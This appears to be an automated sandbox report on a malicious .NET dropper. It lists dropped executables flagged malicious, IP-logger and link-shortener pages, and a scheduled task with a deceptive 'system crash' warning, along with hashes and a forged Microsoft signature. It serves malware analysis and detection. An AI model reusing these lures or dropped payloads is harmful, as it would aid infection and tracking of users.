Preview:	<!DOCTYPE html>.<html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr">.<head>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1">.. CSRF Token -->. <meta name="csrf-token" content="FJNDnYI5mDUPWn1na0VszHBNAXQlUkP2CQRFMTTa">.. <title>Link disabled</title>.. <meta name="robots" content="noindex">.. <link href="https://shortiny.com/uploads/brand/favicon.png" rel="icon">.. Scripts -->. <script src="https://shortiny.com/js/app.js" defer></script>.. Styles -->. <link href="https://shortiny.com/css/app.css" rel="stylesheet" data-theme-light="https://shortiny.com/css/app.css" data-theme-dark="https://shortiny.com/css/app.dark.css" data-theme-target="href">.. . <style>. @import url("https://rsms.me/inter/inter.css");. </style>. </head>. <body class="d-flex flex-column">. <div class="bg-base-1 d-flex align-items-center flex-fill">. <div class="cont

C:\Users\user\Pictures\hPHTonYP7RyWeeJ9W9mN2cDP.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (414)
Category:	dropped
Size (bytes):	3612
Entropy (8bit):	4.591439924230012
Encrypted:	false
SSDEEP:	48:QUnvbGa6TDZzmQiNqcBkVEfriDe1lLfifMMT+CXDuHX3c:RvbGRTihhL6HXYc
MD5:	30B1B56E37A9DBE68B65CD002F85D36D
SHA1:	176F8A38FD3E45B5FF45E4DB000CE6F3FBFA1429
SHA-256:	013905AD9E37F10028A4671291A0A93625CCCF97DB4D7626436F9D7B27CD6C19
SHA-512:	4A871D5340B6B1F096F8093522E8E6C32BE11D730E82BF01CD9EF2F3495B950134B34295524B4CB00981935AB4142151DA0606ED7348026491CFBC0C367E864C
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr">.<head>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1">.. CSRF Token -->. <meta name="csrf-token" content="Llm9550BrFyiyZYo8WnXrIGIjMrygTdhLRy8sNWJ">.. <title>Link disabled</title>.. <meta name="robots" content="noindex">.. <link href="https://shortiny.com/uploads/brand/favicon.png" rel="icon">.. Scripts -->. <script src="https://shortiny.com/js/app.js" defer></script>.. Styles -->. <link href="https://shortiny.com/css/app.css" rel="stylesheet" data-theme-light="https://shortiny.com/css/app.css" data-theme-dark="https://shortiny.com/css/app.dark.css" data-theme-target="href">.. . <style>. @import url("https://rsms.me/inter/inter.css");. </style>. </head>. <body class="d-flex flex-column">. <div class="bg-base-1 d-flex align-items-center flex-fill">. <div class="cont

C:\Users\user\Pictures\hYAqUmuBImuV2jtG2ViGAgNj.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (414)
Category:	dropped
Size (bytes):	3612
Entropy (8bit):	4.58913170465177
Encrypted:	false
SSDEEP:	48:QQvbGa6TDZzmQiNqcBkVEfriDe1lLfifMMT+CXDuHX3c:5bGRTihhL6HXYc
MD5:	C38FD6DC0269B3EFE182C55089398423
SHA1:	3A60BFBC898C6225B9FD75077847C0836BD677AF
SHA-256:	46F83A9CC705078187ED5478468A3919DEE2A9D6E9CF72351919975AA293F293
SHA-512:	F32121ECCB90A21ED0DF100546D755D9D73BB1FA9DA79735C33406FB69EB57DC76C49CFF485306E581E1A54F58835AC4E43520FD52F6B57F56845EA96C5E92F1
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr">.<head>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1">.. CSRF Token -->. <meta name="csrf-token" content="JO3nJ0zkvg8a79VMAihrGwZIViySMeJDj9Dfnlke">.. <title>Link disabled</title>.. <meta name="robots" content="noindex">.. <link href="https://shortiny.com/uploads/brand/favicon.png" rel="icon">.. Scripts -->. <script src="https://shortiny.com/js/app.js" defer></script>.. Styles -->. <link href="https://shortiny.com/css/app.css" rel="stylesheet" data-theme-light="https://shortiny.com/css/app.css" data-theme-dark="https://shortiny.com/css/app.dark.css" data-theme-target="href">.. . <style>. @import url("https://rsms.me/inter/inter.css");. </style>. </head>. <body class="d-flex flex-column">. <div class="bg-base-1 d-flex align-items-center flex-fill">. <div class="cont

C:\Users\user\Pictures\iiQFQ7OxLxWbyS9Pg6suKg1w.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (414)
Category:	dropped
Size (bytes):	3612
Entropy (8bit):	4.596757195928014
Encrypted:	false
SSDEEP:	48:Q1vbGa6TDZzmQiNqcBkVEfriDe1lLfifMMT+CXDuHX3c:IbGRTihhL6HXYc
MD5:	5D75F2DA9A442FAC0B2BD9BFF04E909E
SHA1:	4D186A164734C2DDFBEAD5C91646C4FE3CA76C5C
SHA-256:	B3FA13B612AAA4979A7E36D879F37E673EAB817A39266152EA7930A1826C37EC
SHA-512:	67710938384BFB132781F60B49AC07DF40D85C025D91151930476AF0F91F00554F74BADEE7D1137DF02348226FAE9F00F7DED82DB8A4CEB808C6B4AE700496B0
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr">.<head>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1">.. CSRF Token -->. <meta name="csrf-token" content="TwACNll0R4RSVlFJopOZJncjv1Fy0gqNjFO84q0I">.. <title>Link disabled</title>.. <meta name="robots" content="noindex">.. <link href="https://shortiny.com/uploads/brand/favicon.png" rel="icon">.. Scripts -->. <script src="https://shortiny.com/js/app.js" defer></script>.. Styles -->. <link href="https://shortiny.com/css/app.css" rel="stylesheet" data-theme-light="https://shortiny.com/css/app.css" data-theme-dark="https://shortiny.com/css/app.dark.css" data-theme-target="href">.. . <style>. @import url("https://rsms.me/inter/inter.css");. </style>. </head>. <body class="d-flex flex-column">. <div class="bg-base-1 d-flex align-items-center flex-fill">. <div class="cont

C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	1878244
Entropy (8bit):	7.926614829163194
Encrypted:	false
SSDEEP:	49152:tIiiK2SE+8PR3K9gVDrtKfeKfgErtpX2cvwgx:qiiK2IWRakDrNfExpGcvwgx
MD5:	BD90ED9339BF690DAF83101CAA9EC91A
SHA1:	B43B709F8D8A4FA4261B9535D1601860F9715E39
SHA-256:	5BF81D9E8AA02DD01EF83000DF2EDDEFB54D71AA7033773D699D5963D5DE75E4
SHA-512:	BB4807A1887A7DFB65729E740216064FAE2C03684429E51E28801182012B1404CF35378B5714A2799696C6CD68CACB92D8270B93583E755E1474DF0444526DF7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..... W............................uC............@........................................... .................................\|....p...............................................................................................................text...$........................... .0`.data...............................@.`..rdata..8j.......l..................@.`@.bss......... ........................`..idata..\|...........................@.0..ndata..............................@.`..rsrc........p......................@.0.........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\kX0DCdsflvJ8OvgZffzyMO8W.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7446
Entropy (8bit):	5.422209848736349
Encrypted:	false
SSDEEP:	192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KoxSR1yz:H5X+Dv13T1FH0fHIIP69xKu
MD5:	5B423612B36CDE7F2745455C5DD82577
SHA1:	0187C7C80743B44E9E0C193E993294E3B969CC3D
SHA-256:	E0840D2EA74A00DCC545D770B91D9D889E5A82C7BEDF1B989E0A89DB04685B09
SHA-512:	C26A1E7E96DBD178D961C630ABD8E564EF69532F386FB198EB20119A88ECAB2FE885D71AC0C90687C18910CE00C445F352A5E8FBF5328F3403964F7C7802414C
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

C:\Users\user\Pictures\nhgjWSGzWIq986x3kQ3u2YHN.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7446
Entropy (8bit):	5.422209848736349
Encrypted:	false
SSDEEP:	192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KoxSR1yz:H5X+Dv13T1FH0fHIIP69xKu
MD5:	5B423612B36CDE7F2745455C5DD82577
SHA1:	0187C7C80743B44E9E0C193E993294E3B969CC3D
SHA-256:	E0840D2EA74A00DCC545D770B91D9D889E5A82C7BEDF1B989E0A89DB04685B09
SHA-512:	C26A1E7E96DBD178D961C630ABD8E564EF69532F386FB198EB20119A88ECAB2FE885D71AC0C90687C18910CE00C445F352A5E8FBF5328F3403964F7C7802414C
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

C:\Users\user\Pictures\nxFajWDYSB3pQQxmrqt3pD1T.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	323584
Entropy (8bit):	6.109731815911019
Encrypted:	false
SSDEEP:	3072:HvEczeu14403Cgega/YYn13VguOBft5QRt15VbvVXbzMbtdu:PEcv144/getAfQZfbNrgzu
MD5:	D9578A8E9EE343BC53B08FD8101F66E9
SHA1:	0D89E46868396DF24B3113D778A9ACDD81ECBE2A
SHA-256:	DB184DF3910B9B55E6F47E316D8F4CE4D9213A2BCA188A53201A57301352AA52
SHA-512:	5D3CB21DCE95B6A9958205F794DB293EF75BB3ED1DCA9ED1ABC2A81D2D4D6CD9891A028FC7F325CF3D7DE91F75CF3D912FEE491947976A76C07E8B7A3EF9C977
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........a.fL..5L..5L..5...5N..5k..5X..5k..5&..5k..5`..5...5C..5L..5...5k..5J..5k..5M..5RichL..5................PE..L...?..e.............................3............@.................................Ua......................................d...........X...............................................................@............................................text...\........................... ..`.rdata..............................@..@.data....-....... ..................@....rsrc...X...........................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\pxWKg4zxasESusqXOZSGu1mj.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (414)
Category:	dropped
Size (bytes):	3612
Entropy (8bit):	4.589697665627802
Encrypted:	false
SSDEEP:	48:Q8vbGa6TDZzmQiNqcBkVEfriDe1lLfifMMT+CXDuHX3c:RbGRTihhL6HXYc
MD5:	4F2CD595BBAAF3441F16DDEC2A160A17
SHA1:	9582812FA4B03CCF57BF70167A66E14188C00379
SHA-256:	5407ACA1D7782DFBC044E339250AB2F7F3FFD350CF46755C47EE08245D3982AE
SHA-512:	75CE9411C009B0C104109D5C10B7F13266F00689CB4AC3BFB82F83FF68C2BFC594A5FA361E154B34A14AB895F8AEDC74E6B8CFA8B2CB5154CCD178270A124F2C
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="en" class="h-100 scroll-behavior-smooth " dir="ltr">.<head>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1">.. CSRF Token -->. <meta name="csrf-token" content="bkIgx8Jnc0uMgGltcI99w2HJsgheg67V6NBD530q">.. <title>Link disabled</title>.. <meta name="robots" content="noindex">.. <link href="https://shortiny.com/uploads/brand/favicon.png" rel="icon">.. Scripts -->. <script src="https://shortiny.com/js/app.js" defer></script>.. Styles -->. <link href="https://shortiny.com/css/app.css" rel="stylesheet" data-theme-light="https://shortiny.com/css/app.css" data-theme-dark="https://shortiny.com/css/app.dark.css" data-theme-target="href">.. . <style>. @import url("https://rsms.me/inter/inter.css");. </style>. </head>. <body class="d-flex flex-column">. <div class="bg-base-1 d-flex align-items-center flex-fill">. <div class="cont

C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4283768
Entropy (8bit):	7.982051005050529
Encrypted:	false
SSDEEP:	98304:+2m9igBHAN3V/nHEqdH/DzOhde70zTyblbjrAts3H4:+LIvF/H3d7z7Y3UUtoH4
MD5:	54F38AF9A5ADA40065F7B6008661E8A1
SHA1:	6CE570E927D57E05F9FA25A37EAF0FB62CEFAF8A
SHA-256:	AC365E2F49564BA5ABA374317FFB9AC29A20B338DB67DEC02D459C9AB85DE637
SHA-512:	50DB5C233C258C0B99F868C4279CDBAB1FB252B5F87EFB207E865BA14F49ECC415AF329B379982072427120BF72250E434F1A9AD938342F3DFD40C31E84401D4
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E^.q+..q+..q+......q+......q+......q+......q+..q*..q+......q+......q+......q+.Rich.q+.........PE..L...+.Mc.....................\E...................@...................................B.....................................,.@.(....pE..w...........RA.x...............................................................L............................text...t........................... ..`.rdata....@.......@.................@..@.data... .....@..(....@.............@....rsrc....GL..pE..x....@.............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4283768
Entropy (8bit):	7.982051005050529
Encrypted:	false
SSDEEP:	98304:+2m9igBHAN3V/nHEqdH/DzOhde70zTyblbjrAts3H4:+LIvF/H3d7z7Y3UUtoH4
MD5:	54F38AF9A5ADA40065F7B6008661E8A1
SHA1:	6CE570E927D57E05F9FA25A37EAF0FB62CEFAF8A
SHA-256:	AC365E2F49564BA5ABA374317FFB9AC29A20B338DB67DEC02D459C9AB85DE637
SHA-512:	50DB5C233C258C0B99F868C4279CDBAB1FB252B5F87EFB207E865BA14F49ECC415AF329B379982072427120BF72250E434F1A9AD938342F3DFD40C31E84401D4
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E^.q+..q+..q+......q+......q+......q+......q+..q*..q+......q+......q+......q+.Rich.q+.........PE..L...+.Mc.....................\E...................@...................................B.....................................,.@.(....pE..w...........RA.x...............................................................L............................text...t........................... ..`.rdata....@.......@.................@..@.data... .....@..(....@.............@....rsrc....GL..pE..x....@.............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\vMoYM4QnB4Nb0GDoD23L7m4o.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7446
Entropy (8bit):	5.422209848736349
Encrypted:	false
SSDEEP:	192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KoxSR1yz:H5X+Dv13T1FH0fHIIP69xKu
MD5:	5B423612B36CDE7F2745455C5DD82577
SHA1:	0187C7C80743B44E9E0C193E993294E3B969CC3D
SHA-256:	E0840D2EA74A00DCC545D770B91D9D889E5A82C7BEDF1B989E0A89DB04685B09
SHA-512:	C26A1E7E96DBD178D961C630ABD8E564EF69532F386FB198EB20119A88ECAB2FE885D71AC0C90687C18910CE00C445F352A5E8FBF5328F3403964F7C7802414C
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	1878244
Entropy (8bit):	7.926614829163194
Encrypted:	false
SSDEEP:	49152:tIiiK2SE+8PR3K9gVDrtKfeKfgErtpX2cvwgx:qiiK2IWRakDrNfExpGcvwgx
MD5:	BD90ED9339BF690DAF83101CAA9EC91A
SHA1:	B43B709F8D8A4FA4261B9535D1601860F9715E39
SHA-256:	5BF81D9E8AA02DD01EF83000DF2EDDEFB54D71AA7033773D699D5963D5DE75E4
SHA-512:	BB4807A1887A7DFB65729E740216064FAE2C03684429E51E28801182012B1404CF35378B5714A2799696C6CD68CACB92D8270B93583E755E1474DF0444526DF7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..... W............................uC............@........................................... .................................\|....p...............................................................................................................text...$........................... .0`.data...............................@.`..rdata..8j.......l..................@.`@.bss......... ........................`..idata..\|...........................@.0..ndata..............................@.`..rsrc........p......................@.0.........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	1878244
Entropy (8bit):	7.926614829163194
Encrypted:	false
SSDEEP:	49152:tIiiK2SE+8PR3K9gVDrtKfeKfgErtpX2cvwgx:qiiK2IWRakDrNfExpGcvwgx
MD5:	BD90ED9339BF690DAF83101CAA9EC91A
SHA1:	B43B709F8D8A4FA4261B9535D1601860F9715E39
SHA-256:	5BF81D9E8AA02DD01EF83000DF2EDDEFB54D71AA7033773D699D5963D5DE75E4
SHA-512:	BB4807A1887A7DFB65729E740216064FAE2C03684429E51E28801182012B1404CF35378B5714A2799696C6CD68CACB92D8270B93583E755E1474DF0444526DF7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..... W............................uC............@........................................... .................................\|....p...............................................................................................................text...$........................... .0`.data...............................@.`..rdata..8j.......l..................@.`@.bss......... ........................`..idata..\|...........................@.0..ndata..............................@.`..rsrc........p......................@.0.........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\88e931437f4fbe2c.job

Process:	C:\Users\user\AppData\Local\Temp\wfplwfs.exe
File Type:	data
Category:	dropped
Size (bytes):	496
Entropy (8bit):	3.4531872142792017
Encrypted:	false
SSDEEP:	6:kTXgG5ZsUEZ+lX1t5N6tO8G5ZsUEZ+lX1olKqYEp5txyk+SkE+MTBSclRMlTJzXn:c0Q1oQ1ol62CQ1BZ7MTLwtVVBgB
MD5:	59037F47CF0D1A84F2FD380ED5A810AB
SHA1:	196BEB8F985D8FC7E4D103E766126A839380D2CA
SHA-256:	5ECB88011640D3B228CAFA4385217BADF9E9EE9862EC66EA3B1BCD706D0BBA6B
SHA-512:	3C212502C1ABAEDEC81AB36547498799B3346B29EDBFF0C92A5ED4996BFB64AA5C01FC17FAA72541CC389ABA93AAE750757E7CFBA5BE7F9239B53C8A9E469734
Malicious:	false
Reputation:	unknown
Preview:	....L.}.b.kE...Km..cF.......<... .....s.......... ..................../.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.w.f.p.l.w.f.s...e.x.e.....#.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.....A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...N.W.i.n.d.o.w.s. .F.o.u.n.d.a.t.i.o.n. .S.e.r.v.i.c.e.s.,. .B.a.n. .w.i.l.l. .c.a.u.s.e. .s.y.s.t.e.m. .c.r.a.s.h.,. .p.l.e.a.s.e. .k.e.e.p. .b.o.o.t.i.n.g.................0...............................................

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.424455290206163
Encrypted:	false
SSDEEP:	6144:hSvfpi6ceLP/9skLmb0OTyWSPHaJG8nAgeMZMMhA2fX4WABlEnN20uhiTw:4vloTyW+EZMM6DFyY03w
MD5:	95D2BDD15C877C953672DFED3AC808B3
SHA1:	D5D8B6856B2AD7CBCF861DA6C1AEE190CA3B7ABC
SHA-256:	B097791DB8A528B21B9ACB31349522C88D3CF00FDA7B939F60A4DDBD9EA62B04
SHA-512:	3589A91F87F5330AC6D8F15728C0D365A9E199332915256009DB7DE3A35047F053C5AD1BE3357C5C1ECB1BF007DDB0B0C6FB92AB4197C59749849CCC1AA77933
Malicious:	false
Reputation:	unknown
Preview:	regf>...=....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.C."\s..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1744896
Entropy (8bit):	4.577484861512961
Encrypted:	false
SSDEEP:	6144:ASvfpi6ceLP/9skLmb0OTyWSPDaJG8nAgeMZMMhA2fX4WABlEnN20uhiTw:rvloTyWSEZMM6DFyY03w
MD5:	BB3EE5066E43731038C3D26A390B6BE8
SHA1:	8BA3C2ADDB2B3365E8BD7195BD9DC5A4F3FFC463
SHA-256:	2D118B998A02931EBC2AC4DC1CA6A238E7F583537D6910E71C714203E2ADDA62
SHA-512:	B636786C8BC5DD03D4DF35E9D5E4AA93C826432BA6CE55291D08718AB379DF5A8B81CA8D35B300832108639DBAF8BD6F7648979AD08C13A6977B45E3B9920913
Malicious:	false
Reputation:	unknown
Preview:	regf=...=....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.C."\s..................................................................................................................................................................................................................................................................................................................................................HvLE........=............hp....U...q.........0...@...`..hbin.................\.Z............nk,..\.Z........P ..........h...................................<.......&...{11517B7C-E79D-4e20-961B-75A811715ADD}..`...sk..........V...........\...l.............H.........?...................?...................?........... ... ........... ... ...................$.N..........vk..4...`...........CreatingCommand.....O.n.e.D.r.i.v.e.S.e.t.u.p...e.x.e. ./.s.i.l.e.n.t.......vk..<...............

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.544682159484808
TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	dl7WL77rkA.exe
File size:	48'352 bytes
MD5:	f1e075f8cebe5aaca53ed7c158d81cbd
SHA1:	11f80b386b8a04a4f82d065cefb634bb389e9dbd
SHA256:	39245735a6a4d2495cb6a5207bb9d5e2b6c058d113b6b0efc292330a89611757
SHA512:	12b1d894dd8fd2e9c595458a9b4b7098821a642fdc27c6044b84c8c26784ca161957a7b1f934a7253be9737af031bfa15f7436d0776126eec608131924cba192
SSDEEP:	768:7w5fIJQ5UMuXyicwVI7b8kgUUL8L/aUW/seidZhPlqEFiRT:sVp5UMuXy9wowR8tR/lqeip
TLSH:	8F237D21FA5C1227DABF01B98CA150C17B30E34277D1EBA99CD661865AC37C13BB1E5E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....X............"...0.x................ ....@...... ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xC398581B [Tue Dec 26 19:12:27 2073 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Authenticode Signature

Signature Valid:	false
Signature Issuer:	C=US, S=Washington, L=Redmond, OU=Microsoft Corporation, O=Microsoft Corporation, CN=Microsoft Code Signing PCA 2011
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	08/03/2024 02:38:17 08/03/2025 02:38:17
Subject Chain	C=US, S=Washington, L=Redmond, OU=Microsoft Corporation, O=Microsoft Corporation, CN=Microsoft Code Signing PCA 2011
Version:	3
Thumbprint MD5:	6011432F6209C03D1EC27DAD76E9D5E9
Thumbprint SHA-1:	680E4ED67D6A411B916E77D959D2EAC7710427C9
Thumbprint SHA-256:	807B8C02E81DAE7F40506B82C8C95EDCA62AF8AF571C590A760AB09622744C6C
Serial:	2B17B3DF3894BC5540E9E13DA78BBB40

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0x5d6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xa400	0x18e0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0xb9b8	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x9a78	0x9c00	c06507664f6fdc73197ad2d8aa61a1e1	False	0.5942007211538461	data	6.336720567337779	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
